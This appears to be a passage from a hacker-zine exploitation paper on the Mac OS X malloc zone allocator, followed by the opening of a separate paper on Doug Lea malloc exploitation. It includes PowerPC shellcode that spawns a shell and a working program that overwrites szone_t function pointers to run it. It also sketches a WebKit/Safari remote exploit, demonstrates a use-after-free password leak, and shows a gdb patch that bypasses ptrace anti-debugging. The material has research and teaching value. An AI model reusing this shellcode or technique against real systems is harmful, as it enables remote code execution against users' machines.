The szone_t struct contains two pointers, for tiny and small block  

allocation. These are shown below: 

 

 tiny_region_t       *tiny_regions; 

 small_region_t      *small_regions; 

 

Memory allocations which are less than around 500 bytes in size 

fall into the "tiny" range. These allocations are allocated from a   

pool of vm_allocate()'ed regions of memory. Each of these regions  

consists of a 1MB, (in 32-bit mode), or 2MB, (in 64-bit mode) heap.  

Following this is some meta-data about the region. Regions are ordered  
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by ascending block size. When memory is deallocated it is added back to  

the pool.  

 

 

Free blocks contain the following meta-data:  

 

(all fields are sizeof(void *) in size, except for "size" which is  

sizeof(u_short)). Tiny sized buffers are instead aligned to 0x10 bytes) 

 

- checksum 

- previous 

- next 

- size  

 

The size field contains the quantum count for the region. A quantum 

represents  

the size of the allocated blocks of memory within the region. 

 

Allocations of which size falls in the range between 500 bytes and four  

virtual pages in size (0x4000) fall into the "small" category. 

Memory allocations of "small" range sized blocks, are allocated from a  

pool of small regions, pointed to by the "small_regions" pointer in the  

szone_t struct. Again this memory is pre-allocated with the vm_allocate() 

function. Each "small" region consists of an 8MB heap, followed by the  

same meta-data as tiny regions. 

 

Tiny and small allocations are not always guaranteed to be page aligned. 

If a block is allocated which is less than a single virtual page size then 

obviously the block cannot be aligned to a page.  

 

Large block allocations (allocations over four vm pages in size), are  

handled quite differently to the small and tiny blocks. When a large 

block is requested, the malloc() routine uses vm_allocate() to obtain the  

memory required. Larger memory allocations occur in the higher memory of 

the heap. This is useful in the "destroying the heap" technique, outlined  

in this paper. Large blocks of memory are allocated in multiples of 4096.  

This is the size of a virtual memory page. Because of this, large memory 

allocations are always guaranteed to be page-aligned. 

 

----[ 2.4 - Heap initialization.  

 

As you can see below, the malloc() function is merely a wrapper around 

the malloc_zone_malloc() function.  

 

 void *malloc(size_t size)  

 { 

   void  *retval; 

      

   retval = malloc_zone_malloc(inline_malloc_default_zone(), size); 

   if (retval == NULL)  

     { 

 errno = ENOMEM; 

     } 

   return retval; 

 } 

  

It uses the inline_malloc_default_zone() function to pass the appropriate 

zone to malloc_zone_malloc(). If malloc() is being called for the first  

time the inline_malloc_default_zone() function calls _malloc_initialize() 

in order to create the initial default malloc zone.  
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The malloc_create_zone() function is called with the values (0,0) being  

passed in as as the start_size and flags parameters.  

 

After this the environment variables are read in (any beginning with  

"Malloc"), and parsed in order to set the appropriate flags.   

 

It then calls the create_scalable_zone() function in the scalable_malloc.c  

file. This function is really responsible for creating the szone_t struct. 

It uses the allocate_pages() function as shown below. 

 

 szone = allocate_pages(NULL, SMALL_REGION_SIZE, SMALL_BLOCKS_ALIGN, 0, \  

   VM_MAKE_TAG(VM_MEMORY_MALLOC)); 

 

This, in turn, uses the mach_vm_allocate() mach syscall to allocate the  

required memory to store the s_zone_t default struct.  

 

-[Summary]: 

 

For the technique contained within this paper, the most important things  

to note is that a szone_t struct is set up in memory. The struct contains  

several function pointers which are used to store the address of each of  

the appropriate allocation and deallocation functions. When a block of  

memory is allocated which falls into the "large" category, the  

vm_allocate() mach syscall is used to allocate the memory for this.  

 

--[ 3 - A Sample Overflow 

 

Before we look at how to exploit a heap overflow, we will first analyze 

how the initial zone struct is laid out in the memory of a running  

process. 

 

To do this we will use gdb to debug a small sample program. This is  

shown below: 

 

 -[nemo@gir:~]$ cat > mtst1.c 

 #include <stdlib.h> 

 

 int main(int ac, char **av) 

 { 

  char *a = malloc(10); 

  __asm("trap"); 

  char *b = malloc(10); 

 } 

 

 -[nemo@gir:~]$ gcc mtst1.c -o mtst1 

 -[nemo@gir:~]$ gdb ./mtst1 

 GNU gdb 6.1-20040303 (Apple version gdb-413) 

 (gdb) r 

 Starting program: /Users/nemo/mtst1  

 Reading symbols for shared libraries . done 

 

Once we receive a SIGTRAP signal and return to the gdb command shell we 

can then use the command shown below to locate our initial szone_t  

structure in the process memory.  

 

 (gdb) x/x &initial_malloc_zones 

 0xa0010414 <initial_malloc_zones>:      0x01800000 

 

This value, as expected inside gdb, is shown to be 0x01800000.  

If we dump memory at this location, we can see each of the fields in the  

_malloc_zone_t_ struct as expected. 
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NOTE: Output reformatted for more clarity.  

 

 (gdb) x/x (long*) initial_malloc_zones 

 0x1800000:      0x00000000 // Reserved1. 

 0x1800004:      0x00000000 // Reserved2. 

 0x1800008:      0x90005e0c // size() pointer. 

 0x180000c:      0x90003abc // malloc() pointer. 

 0x1800010:      0x90008bc4 // calloc() pointer. 

 0x1800014:      0x9004a9f8 // valloc() pointer. 

 0x1800018:      0x900060ac // free() pointer. 

 0x180001c:      0x90017f90 // realloc() pointer. 

 0x1800020:      0x9010efb8 // destroy() pointer. 

 0x1800024:      0x00300000 // Zone Name  

     //("DefaultMallocZone"). 

 0x1800028:      0x9010dbe8 // batch_malloc() pointer. 

 0x180002c:      0x9010e848 // batch_free() pointer. 

 

In this struct we can see each of the function pointers which are called  

for each of the memory allocation/deallocation functions performed using 

the default zone. As well as a pointer to the name of the zone, which can 

be useful for debugging. 

 

If we change the malloc() function pointer, and continue our sample  

program (shown below) we can see that the second call to malloc() results  

in a jump to the specified value. (after instruction alignment). 

 

 (gdb) set *0x180000c = 0xdeadbeef 

 (gdb) jump *($pc + 4) 

 Continuing at 0x2cf8. 

 

 Program received signal EXC_BAD_ACCESS, Could not access memory. 

 Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec 

 0xdeadbeec in ?? () 

 (gdb)  

 

But is it really feasible to write all the way to the address 0x1800000? 

(or 0x2800000 outside of gdb). We will look into this now. 

 

First we will check the addresses various sized memory allocations are  

given. The location of each buffer is dependant on whether the  

allocation size falls into one of the various sized bins mentioned  

earlier (tiny, small or large). 

 

To test the location of each of these we can simply compile and run the  

following small c program as shown: 

 

 -[nemo@gir:~]$ cat > mtst2.c     

 #include <stdio.h> 

 #include <stdlib.h> 

 

 int main(int ac, char **av) 

 { 

  extern *malloc_zones; 

 

  printf("initial_malloc_zones @ 0x%x\n",*malloc_zones); 

  printf("tiny:  %p\n",malloc(22)); 

  printf("small: %p\n",malloc(500)); 

  printf("large: %p\n",malloc(0xffffffff)); 

  return 0; 

 } 
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 -[nemo@gir:~]$ gcc mtst2.c -o mtst2 

 -[nemo@gir:~]$ ./mtst2  

 initial_malloc_zones @ 0x2800000 

 tiny:  0x500160 

 small: 0x2800600 

 large: 0x26000 

 

From the output of this program we can see that it is only possible to  

write to the initial_malloc_zones struct from a "tiny" or " large"  

buffer. Also, in order to overwrite the function pointers contained within 

this struct we need to write a considerable amount of data completely  

destroying sections of the zone. Thankfully many situations exist in  

typical software which allow these criteria to be met. This is discussed 

in the final section of this paper. 

 

Now we understand the layout of the heap a little better, we can use a  

small sample program to overwrite the function pointers contained in the  

struct to get a shell.  

 

The following program allocates a 'tiny' buffer of 22 bytes. It then uses 

memset() to write 'A's all the way to the pointer for malloc() in the  

zone struct, before calling malloc(). 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

int main(int ac, char **av) 

{ 

  extern *malloc_zones; 

  char *tmp,*tinyp = malloc(22); 

 

  printf("[+] tinyp is @ %p\n",tinyp); 

  printf("[+] initial_malloc_zones is @ %p\n", *malloc_zones);    

  printf("[+] Copying 0x%x bytes.\n", 

   (((char *)*malloc_zones + 16) - (char *)tinyp)); 

  memset(tinyp,'A', (int)(((char *)*malloc_zones + 16) - (char *)tinyp)); 

 

  tmp = malloc(0xdeadbeef); 

  return 0; 

} 

 

However when we compile and run this program, an EXC_BAD_ACCESS signal is  

received. 

 

 (gdb) r 

 Starting program: /Users/nemo/mtst3  

 Reading symbols for shared libraries . done 

 [+] tinyp is @ 0x300120 

 [+] initial_malloc_zones is @ 0x1800000 

 [+] Copying 0x14ffef0 bytes. 

 

 Program received signal EXC_BAD_ACCESS, Could not access memory. 

 Reason: KERN_INVALID_ADDRESS at address: 0x00405000 

 0xffff9068 in ___memset_pattern ()  

 

This is due to the fact that, in between the tinyp pointer and the malloc 

function pointer we are trying to overwrite there is some unmapped memory.  

 

In order to get past this we can use the fact that blocks of memory  

allocated which fall into the "large" category are allocated using the  
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mach vm_allocate() syscall.  

 

If we can get enough memory to be allocated in the large classification, 

before the overflow occurs we should have a clear path to the pointer. 

 

To illustrate this point, we can use the following code: 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <malloc.h> 

#include <string.h> 

 

char shellcode[] = // Shellcode by b-r00t, modified by nemo. 

"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4" 

"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02" 

"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60" 

"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" 

"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78" 

"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e" 

"\x2f\x73\x68"; 

 

extern *malloc_zones; 

 

int    main(int ac, char **av) 

{ 

 char  *tmp, *tmpr; 

 int   a=0 , *addr; 

 

 while ((tmpr = malloc(0xffffffff)) <= (char *)*malloc_zones); 

     

 // small buffer 

 addr = malloc(22);               

 printf("[+] malloc_zones (first zone) @ 0x%x\n", *malloc_zones); 

 printf("[+] addr @ 0x%x\n",addr); 

 

 if ((unsigned int) addr < *malloc_zones)  

 { 

    printf("[+] addr + %u = 0x%x\n", 

    *malloc_zones - (int) addr, *malloc_zones); 

    exit(1); 

 } 

 

 printf("[+] Using shellcode @ 0x%x\n",&shellcode); 

 

 for (a = 0;  

      a <= ((*malloc_zones - (int) addr) + sizeof(malloc_zone_t)) / 4; 

      a++) 

   addr[a] = (int) &shellcode[0]; 

 

 printf("[+] finished memcpy()\n"); 

  

 tmp = malloc(5);        // execve() 

 

} 

 

This code allocates enough "large" blocks of memory (0xffffffff) with  

which to plow a clear path to the function pointers. It then copies  

the address of the shellcode into memory all the way through the zone 

before overwriting the function pointers in the szone_t struct. Finally a 

call to malloc() is made in order to trigger the execution of the  

shellcode. 
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As you can see below, this code function as we'd expect and our  

shellcode is executed. 

 

 -[nemo@gir:~]$ ./heaptst  

 [+] malloc_zones (first zone) @ 0x2800000 

 [+] addr @ 0x500120 

 [+] addr + 36699872 = 0x2800000 

 [+] Using shellcode @ 0x3014 

 [+] finished memcpy() 

 sh-2.05b$  

 

This method has been tested on Apple's OS X version 10.4.1 (Tiger). 

 

--[ 4 - A Real Life Example 

 

The default web browser on OS X (Safari) as well as the mail client  

(Mail.app), Dashboard and almost every other application on OS X which  

requires web parsing functionality achieve this through a library  

which Apple call "WebKit". (2) 

 

This library contains many bugs, many of which are exploitable using this 

technique. Particular attention should be payed to the code which renders  

<TABLE></TABLE> blocks ;)  

 

Due to the nature of HTML pages an attacker is presented with  

opportunities to control the heap in a variety of ways before actually  

triggering the exploit. In order to use the technique described in this 

paper to exploit these bugs we can craft some HTML code, or an image  

file, to perform many large allocations and therefore cleaving a path  

to our function pointers. We can then trigger one of the numerous  

overflows to write the address of our shellcode into the function  

pointers before waiting for a shell to be spawned. 

 

One of the bugs which i have exploited using this particular method  

involves an unchecked length being used to allocate and fill an object in 

memory with null bytes (\x00).  

 

If we manage to calculate the write so that it stops mid way through one  

of our function pointers in the szone_t struct, we can effectively  

truncate the pointer causing execution to jump elsewhere. 

 

The first step to exploiting this bug, is to fire up the debugger (gdb) 

and look at what options are available to us. 

 

Once we have Safari loaded up in our debugger, the first thing we need 

to check for the exploit to succeed is that we have a clear path to the  

initial_malloc_zones struct. To do this in gdb we can put a breakpoint  

on the return statement in the malloc() function.  

 

We use the command "disas malloc" to view the assembly listing for the  

malloc function. The end of this listing is shown below: 

 

 ..... 

 

 0x900039dc <malloc+1464>:       lwz     r0,8(r1) 

 0x900039e0 <malloc+1468>:       lmw     r24,-32(r1) 

 0x900039e4 <malloc+1472>:       lwz     r11,4(r1) 

 0x900039e8 <malloc+1476>:       mtlr    r0 

 0x900039ec <malloc+1480>:       .long 0x7d708120 

 0x900039f0 <malloc+1484>:       blr 
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 0x900039f4 <malloc+1488>:       .long 0x0 

 

The "blr" instruction shown at line 0x900039f0 is the "branch to link  

register" instruction. This instruction is used to return from malloc(). 

 

Functions in OS X on PPC architecture pass their return value back to the  

calling function in the "r3" register. In order to make sure that the  

malloc()'ed addresses have reached the address of our zone struct we can  

put a breakpoint on this instruction, and output the value which was  

returned. 

 

We can do this with the gdb commands shown below. 

 

 (gdb) break *0x900039f0  

 Breakpoint 1 at 0x900039f0 

 (gdb) commands 

 Type commands for when breakpoint 1 is hit, one per line. 

 End with a line saying just "end". 

 >i r r3 

 >cont 

 >end 

 

We can now continue execution and receive a running status of all  

allocations which occur in our program. This way we can see when our  

target is reached. 

 

The "heap" tool can also be used to see the sizes and numbers of each 

allocation. 

 

There are several methods which can be used to set up the heap  

correctly for exploitation. One method, suggested by andrewg, is to use a 

.png image in order to control the sizes of allocations which occur.  

Apparently this method was learn from zen-parse when exploiting a  

mozilla bug in the past. 

 

The method which i have used is to create an HTML page which repeatedly 

triggers the overflow with various sizes. After playing around with  

this for a while, it was possible to regularly allocate enough memory  

for the overflow to occur. 

 

Once the limit is reached, it is possible to trigger the overflow in a 

way which overwrites the first few bytes in any of the pointers in the  

szone_t struct.  

 

Because of the big endian nature of PPC architecture (by default. it can  

be changed.) the first few bytes in the pointer make all the difference  

and our truncated pointer will now point to the .TEXT segment.  

 

The following gdb output shows our initial_malloc_zones struct after the  

heap has been smashed. 

 

 (gdb) x/x (long )*&initial_malloc_zones 

 0x1800000:      0x00000000 // Reserved1. 

 (gdb) 

 0x1800004:      0x00000000 // Reserved2. 

 (gdb) 

 0x1800008:      0x00000000 // size() pointer. 

 (gdb) 

 0x180000c:      0x00003abc // malloc() pointer. 

 (gdb)     ^^ smash stopped here. 

 0x1800010:      0x90008bc4 
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As you can see, the malloc() pointer is now pointing to somewhere in the 

.TEXT segment, and the next call to malloc() will take us there. We can  

use gdb to view the instructions at this address. As you can see in the  

following example. 

 

 (gdb) x/2i 0x00003abc 

 0x3abc: lwz     r4,0(r31) 

 0x3ac0: bl      0xd686c <dyld_stub_objc_msgSend> 

 

Here we can see that the r31 register must be a valid memory address for  

a start following this the dyld_stub_objc_msgSend() function is called  

using the "bl" (branch updating link register) instruction. Again we can  

use gdb to view the instructions in this function. 

 

 (gdb) x/4i 0xd686c 

 0xd686c <dyld_stub_objc_msgSend>:       lis     r11,14 

 0xd6870 <dyld_stub_objc_msgSend+4>:     lwzu    r12,-31732(r11) 

 0xd6874 <dyld_stub_objc_msgSend+8>:     mtctr   r12 

 0xd6878 <dyld_stub_objc_msgSend+12>:    bctr 

 

We can see in these instructions that the r11 register must be a valid 

memory address. Other than that the final two instructions (0xd6874  

and 0xd6878) move the value in the r12 register to the control  

register, before branching to it. This is the equivalent of jumping to  

a function pointer in r12. Amazingly this code construct is exactly  

what we need.  

 

So all that is needed to exploit this vulnerability now, is to find  

somewhere in the binary where the r12 register is controlled by the user, 

directly before the malloc function is called. Although this isn't  

terribly easy to find, it does exist. 

 

However, if this code is not reached before one of the pointers  

contained on the (now smashed) heap is used the program will most  

likely crash before we are given a chance to steal execution flow. Because 

of this fact, and because of the difficult nature of predicting the exact  

values with which to smash the heap, exploiting this vulnerability can be  

very unreliable, however it definitely can be done. 

 

 Program received signal EXC_BAD_ACCESS, Could not access memory. 

 Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec 

 0xdeadbeec in ?? () 

 (gdb) 

 

An exploit for this vulnerability means that a crafted email or website  

is all that is needed to remotely exploit an OS X user. 

 

Apple have been contacted about a couple of these bugs and are currently 

in the process of fixing them. 

 

The WebKit library is open source and available for download, apparently  

it won't be too long before Nokia phones use this library for their web  

applications. [5] 

 

--[ 5 - Miscellaneous 

 

This section shows a couple of situations / observations regarding the  

memory allocator which did not fit in to any of the other sections. 

 

----[ 5.1 - Wrap-around Bug. 
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The examples in this paper allocated the value 0xffffffff. However  

this amount is not technically feasible for a malloc implementation  

to allocate each time. 

 

The reason this works without failure is due to a subtle bug which  

exists in the Darwin kernel's vm_allocate() function. 

 

This function attempts to round the desired size it up to the closest  

page aligned value. However it accomplishes this by using the  

vm_map_round_page() macro (shown below.) 

 

 #define PAGE_MASK (PAGE_SIZE - 1) 

 #define PAGE_SIZE vm_page_size 

 #define vm_map_round_page(x) (((vm_map_offset_t)(x) + \  

 PAGE_MASK) & ~((signed)PAGE_MASK)) 

 

Here we can see that the page size minus one is simply added to the value  

which is to be rounded before being bitwise AND'ed with the reverse of 

the PAGE_MASK. 

 

The effect of this macro when rounding large  values can be illustrated  

using the following code: 

 

 #include <stdio.h> 

 

 #define PAGEMASK 0xfff 

 

 #define vm_map_round_page(x) ((x + PAGEMASK) & ~PAGEMASK) 

 

 int main(int ac, char **av) 

 { 

  printf("0x%x\n",vm_map_round_page(0xffffffff)); 

 } 

 

When run (below) it can be seen that the value 0xffffffff will be rounded 

to 0. 

 -[nemo@gir:~]$ ./rounding 

 0x0 

 

Directly below the rounding in vm_allocate() is performed there is a check 

to make sure the rounded size is not zero. If it is zero then the size of 

a page is added to it. Leaving only a single page allocated. 

 

        map_size = vm_map_round_page(size);               

 if (map_addr == 0) 

  map_addr += PAGE_SIZE; 

 

The code below demonstrates the effect of this on two calls to malloc(). 

 

 #include <stdio.h> 

 #include <stdlib.h> 

 

 int main(int ac, char **av) 

 { 

  char *a = malloc(0xffffffff); 

  char *b = malloc(0xffffffff); 

 

  printf("B - A: 0x%x\n", b - a); 

 

  return 0; 
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 } 

 

When this program is compiled and run (below) we can see that although the 

programmer believes he/she now has a 4GB buffer only a single page has 

been allocated. 

 

 -[nemo@gir:~]$ ./ovrflw 

 B - A: 0x1000 

 

This means that most situations where a user specified length can be  

passed to the malloc() function, before being used to copy data, are  

exploitable. 

 

This bug was pointed out to me by duke. 

 

----[ 5.2 - Double free(). 

 

Bertrand's allocator keeps track of the addresses which are currently 

allocated. When a buffer is free()'ed the find_registered_zone() function 

is used to make sure that the address which is requested to be free()'ed  

exists in one of the zones. This check is shown below. 

 

void  free(void *ptr)  

{ 

 malloc_zone_t       *zone; 

 

 if (!ptr) return; 

  

 zone = find_registered_zone(ptr, NULL); 

 if (zone)  

  { 

     malloc_zone_free(zone, ptr); 

  }  

  else  

  { 

     malloc_printf("***  Deallocation of a pointer not malloced: %p; " 

                   "This could be a double free(), or free() called " 

     "with the middle of an allocated block; " 

     "Try setting environment variable MallocHelp to see " 

     "tools that help to debug\n", ptr); 

     if (malloc_free_abort) abort(); 

  } 

} 

 

 

This means that an address free()'ed twice (double free) will not  

actually be free()'ed the second time. Making it hard to exploit  

double free()'s in this way. 

 

However, when a buffer is allocated of the same size as the previous  

buffer and free()'ed, but the pointer to the free()'ed buffer still  

exists and is used an exploitable condition can occur. 

 

The small sample program below shows a pointer being allocated and  

free()ed and then a second pointer being allocated of the same size. Then 

free()ed twice. 

 

 #include <stdio.h> 

 #include <stdlib.h> 

 #include <string.h> 
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 int main(int ac, char **av) 

 { 

  char *b,*a  = malloc(11); 

 

  printf("a: %p\n",a); 

  free(a); 

  b  = malloc(11); 

  printf("b: %p\n",b); 

  free(b); 

  printf("b: %p\n",a); 

  free(b); 

  printf("a: %p\n",a); 

 

  return 0; 

 } 

 

 

When we compile and run it, as shown below, we can see that pointer "a" 

still points to the same address as "b", even after it was free()'ed.  

If this condition occurs and we are able to write to,or read from, 

pointer "a", we may be able to exploit this for an info leak, or gain 

control of execution. 

 

 -[nemo@gir:~]$ ./dfr 

 a: 0x500120 

 b: 0x500120 

 b: 0x500120 

 tst(3575) malloc: *** error for object 0x500120: double free 

 tst(3575) malloc: *** set a breakpoint in szone_error to debug 

 a: 0x500120 

 

I have written a small sample program to explain more clearly how this  

works. The code below reads a username and password from the user. 

It then compares password to one stored in the file ".skrt". If this  

password is the same, the secret code is revealed. Otherwise an error is 

printed informing the user that the password was incorrect. 

 

 #include <stdio.h> 

 #include <stdlib.h> 

 #include <string.h> 

 #include <unistd.h> 

 

 #define PASSWDFILE ".skrt" 

 

 int main(int ac, char **av) 

 { 

  char *user = malloc(128 + 1); 

  char *p,*pass = "" ,*skrt = NULL; 

  FILE *fp; 

 

  printf("login: "); 

  fgets(user,128,stdin); 

  if (p = strchr(user,'\n')) 

   *p = '\x00'; 

 

  // If the username contains "admin_", exit. 

  if(strstr(user,"admin_"))  

  { 

   printf("Admin user not allowed!\n"); 

   free(user); 

   fflush(stdin); 
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   goto exit; 

  } 

 

  pass = getpass("Enter your password: "); 

 

 exit: 

  if ((fp = fopen(PASSWDFILE,"r")) == NULL)  

  { 

   printf("Error loading password file.\n"); 

   exit(1); 

  } 

 

  skrt = malloc(128 + 1); 

 

  if (!fgets(skrt,128,fp))  

  { 

   exit(1); 

  } 

 

  if (p = strchr(skrt,'\n')) 

   *p = '\x00'; 

 

  if (!strcmp(pass,skrt))  

  { 

   printf("The combination is 2C,4B,5C\n"); 

  }  

  else  

  { 

   printf("Password Rejected for %s, please try 

again\n"); 

    user); 

  } 

 

  fclose(fp); 

  return 0; 

 } 

 

When we compile the program and enter an incorrect password we see the  

following message: 

 

 -[nemo@gir:~]$ ./dfree 

 login: nemo 

 Enter your password: 

 Password Rejected for nemo, please try again. 

 

However, if the "admin_" string is detected  in the string, the user  

buffer is free()'ed. The skrt buffer is then returned from malloc()  

pointing to the same allocated block of memory as the user pointer.  

This would normally be fine however the user buffer is used in the  

printf() function call at the end of the function. Because the user  

pointer still points to the same memory as skrt this causes an  

info-leak and the secret password is printed, as seen below: 

 

 -[nemo@gir:~]$ ./dfree 

 login: admin_nemo 

 Admin user not allowed! 

 Password Rejected for secret_password, please try again. 

 

We can then use this password to get the combination: 

 

 -[nemo@gir:~]$ ./dfree 
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 login: nemo 

 Enter your password: 

 The combination is 2C,4B,5C 

 

----[ 5.3 - Beating ptrace() 

 

Safari uses the ptrace() syscall to try and stop evil hackers from  

debugging their proprietary code. ;). The extract from the  

man-page below shows a ptrace() flag which can be used to stop people  

being able to debug your code. 

 

PT_DENY_ATTACH 

    This request is the other operation used by the traced 

    process; it allows a process that is not currently being 

    traced to deny future traces by its parent.  All other 

    arguments are ignored.  If the process is currently being 

    traced, it will exit with the exit status of ENOTSUP; oth- 

    erwise, it sets a flag that denies future traces.  An 

    attempt by the parent to trace a process which has set this 

    flag will result in a segmentation violation in the parent. 

 

There are a couple of ways to get around this check (which i am aware of). 

The first of these is to patch your kernel to stop the PT_DENY_ATTACH call 

from doing anything. This is probably the best way, however involves the  

most effort. 

 

The method which we will use now to look at Safari is to start up gdb and 

put a breakpoint on the ptrace() function. This is shown below: 

 

 -[nemo@gir:~]$ gdb /Applications/Safari.app/Contents/MacOS/Safari 

 GNU gdb 6.1-20040303 (Apple version gdb-413)  

 (gdb) break ptrace 

 Breakpoint 1 at 0x900541f4 

 

We then run the program, and wait until the breakpoint is hit. When our  

breakpoint is triggered, we use the x/10i $pc command (below) to view the 

next 10 instructions in the function. 

 

 (gdb) r 

 Starting program: /Applications/Safari.app/Contents/MacOS/Safari 

 Reading symbols for shared libraries .................... done 

 

 Breakpoint 1, 0x900541f4 in ptrace () 

 (gdb) x/10i $pc 

 0x900541f4 <ptrace+20>: addis   r8,r8,4091 

 0x900541f8 <ptrace+24>: lwz     r8,7860(r8) 

 0x900541fc <ptrace+28>: stw     r7,0(r8) 

 0x90054200 <ptrace+32>: li      r0,26 

 0x90054204 <ptrace+36>: sc 

 0x90054208 <ptrace+40>: b       0x90054210 <ptrace+48> 

 0x9005420c <ptrace+44>: b       0x90054230 <ptrace+80> 

 0x90054210 <ptrace+48>: mflr    r0 

 0x90054214 <ptrace+52>: bcl-    20,4*cr7+so,0x90054218  

 0x90054218 <ptrace+56>: mflr    r12 

 

At line 0x90054204 we can see the instruction "sc" being executed. This  

is the instruction which calls the syscall itself. This is similar to  

int 0x80 on a Linux platform, or sysenter/int 0x2e in windows.  

 

In order to stop the ptrace() syscall from occurring we can simply  

replace this instruction in memory with a nop (no operation)  
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instruction. This way the syscall will never take place and we can  

debug without any problems. 

 

To patch this instruction in gdb we can use the command shown below and  

continue execution. 

 

 (gdb) set *0x90054204 = 0x60000000 

 (gdb) continue 

 

--[ 6 - Conclusion 

 

Although the technique which was described in this paper seem rather  

specific, the technique is still valid and exploitation of heap bugs in  

this way is definitely possible. 

 

When you are able to exploit a bug in this way you can quickly turn a  

complicated bug into the equivalent of a simple stack smash (3). 

 

At the time of writing this paper, no protection schemes for the heap  

exist for Mac OS X which would stop this technique from working. (To my  

knowledge). 

 

On a side note, if anyone works out why the initial_malloc_zones struct is  

always located at 0x2800000 outside of gdb and 0x1800000 inside i would  

appreciate it if you let me know. 

 

I'd like to say thanks to my boss Swaraj from Suresec LTD for giving me  

time to research the things which i enjoy so much. 

 

I'd also like to say hi to all the guys at Feline Menace, as well as  

pulltheplug.org/#social and the Ruxcon team. I'd also like to thank the  
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Appendix I - malloc internal structures overview 

 

--------------------------------------------------------------------------- 

 

--[ 1. Abstract 

 

This paper details several techniques that allow more generic and reliable 

exploitation of processes that provide us with the ability to overwrite 

an almost arbitrary 4 byte value at any location. 

Higher level techniques will be constructed on top of the unlink() basic 

technique (presented in MaXX's article [2]) to exploit processes which 

allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic 

memory allocator). 

unlink() is used to force specific information leaks of the target process 

memory layout. The obtained information is used to exploit the target 

without any prior knowledge or hardcoded values, even when randomization 

of main object's and/or libraries' load address is present. 
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Several tricks will be presented along different scenarios, including: 

    * special chunks crafting (cushion chunk and unlinkMe chunk) 

    * heap layout consciousness and analysis using debugging tools 

    * automatically finding the injected shellcode in the process memory 

    * forcing a remote process to provide malloc's internal structures 

     addresses 

    * looking for a function pointer within glibc 

    * injecting the shellcode into a known memory address 

 

The combination of these techniques allows to exploit the OpenSSL 'SSLv2 

Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double 

free' [7] vulnerabilities in a fully automated way (without hardcoding 

any target based address or offset), for example. 

 

--------------------------------------------------------------------------- 

 

--[ 2. Introduction 

 

Given a vulnerability which allows us to corrupt malloc's internal 

structures (i.e. heap overflow, double free(), etc), we can say it 

'provides' us with the ability to perform at least an 'almost arbitrary 4 

bytes mirrored overwrite' primitive (aa4bmo from now on). 

We say it's a 'mirrored' overwrite as the location we are writing at 

minus 8 will be stored in the address given by the value we are writing 

plus 12. Note we say almost arbitrary as we can only write values that are 

writable, as a side effect of the mirrored copy.  

The 'primitive' concept was previously introduced in the 'Advances in 

format string exploitation' paper [4] and in the 'About exploits writing' 

presentation [5]. 

Previous work 'Vudo - An object superstitiously believed to embody magical 

power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully 

detailed explanations on how to obtain the aa4bmo primitive from a 

vulnerability. At [8] and [9] can be found the first examples of malloc 

based exploitation. 

We'll be using the unlink() technique from [2] as the basic lower level 

mechanism to obtain the aa4bmo primitive, which we'll use through all the 

paper to build higher level techniques. 

 

                   malloc                         higher 

vulnerability  ->  structures  ->  primitive  ->  level 

                   corruption                     techniques 

--------------------------------------------------------------------------- 

heap overflow         unlink()                       freeing the output 

double free()  ->  technique   ->  aa4bmo     ->  hitting the output 

...                                               cushion chunk 

                                                  ... 

 

This paper focuses mainly on the question that arises after we reach the 

aa4bmo primitive: what should we do once we know a process allows us to 

overwrite four bytes of its memory with almost any arbitrary data? 

In addition, tips to reach the aa4bmo primitive in a reliable way are  

explained. 

 

Although the techniques are presented in the context of malloc based 

heap overflow exploitation, they can be employed to aid in format string 

exploits as well, for example, or any other vulnerability or combination 

of them, which provide us with similar capabilities. 

 

The research was focused on the Linux/Intel platform; glibc-2.2.4, 

glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c 

(an updated version of malloc can be found at [1]). Along this paper we'll 



[7. Advanced Doug lea's malloc exploits - jp] 

 

  Page 
229 

 
  

use 'malloc' to refer to Doug Lea's malloc based implementation. 

 

--------------------------------------------------------------------------- 

--] 3. Automating exploitation problems 

 

When trying to answer the question 'what should we do once we know we can 

overwrite four bytes of the process memory with almost any arbitrary 

data?', we face several problems: 

 

A] how can we be sure we are overwriting the desired bytes with the  

desired bytes? 

As the aa4bmo primitive is the underlying layer that allows us to 

implement the higher level techniques, we need to be completely sure it is 

working as expected, even when we know we won't know where our data will 

be located. Also, in order to be useful, the primitive should not crash 

the exploited process. 

 

B] what should we write? 

We may write the address of the code we intend to execute, or we may 

modify a process variable. In case we inject our shellcode in the  

process, we need to know its location, which may vary together with the 

evolving process heap/stack layout. 

 

C] where should we write? 

Several known locations can be overwritten to modify the execution flow, 

including for example the ones shown in [10], [11], [12] and [14]. 

In case we are overwriting a function pointer (as when overwriting a stack 

frame, GOT entry, process specific function pointer, setjmp/longjmp, 

file descriptor function pointer, etc), we need to know its precise 

location. 

The same happens if we plan to overwrite a process variable. For example, 

a GOT entry address may be different even when the source code is the 

same, as compilation and linking parameters may yield a different process 

layout, as happens with the same program source code compiled for  

different Linux distributions. 

 

Along this paper, our examples will be oriented at overwriting a function 

pointer with the address of injected shellcode. However, some techniques 

also apply to other cases. 

 

Typical exploits are target based, hardcoding at least one of the values 

required for exploitation, such as the address of a given GOT entry, 

depending on the targeted daemon version and the Linux distribution and 

release version. Although this simplifies the exploitation process, it is 

not always feasible to obtain the required information (i.e. a server can 

be configured to lie or to not disclose its version number). Besides, we 

may not have the needed information for the target. Bruteforcing more than 

one exploit parameter may not always be possible, if each of the values 

can't be obtained separately. 

There are some well known techniques used to improve the reliability 

(probability of success) of a given exploit, but they are only an aid for 

improving the exploitation chances. For example, we may pad the shellcode 

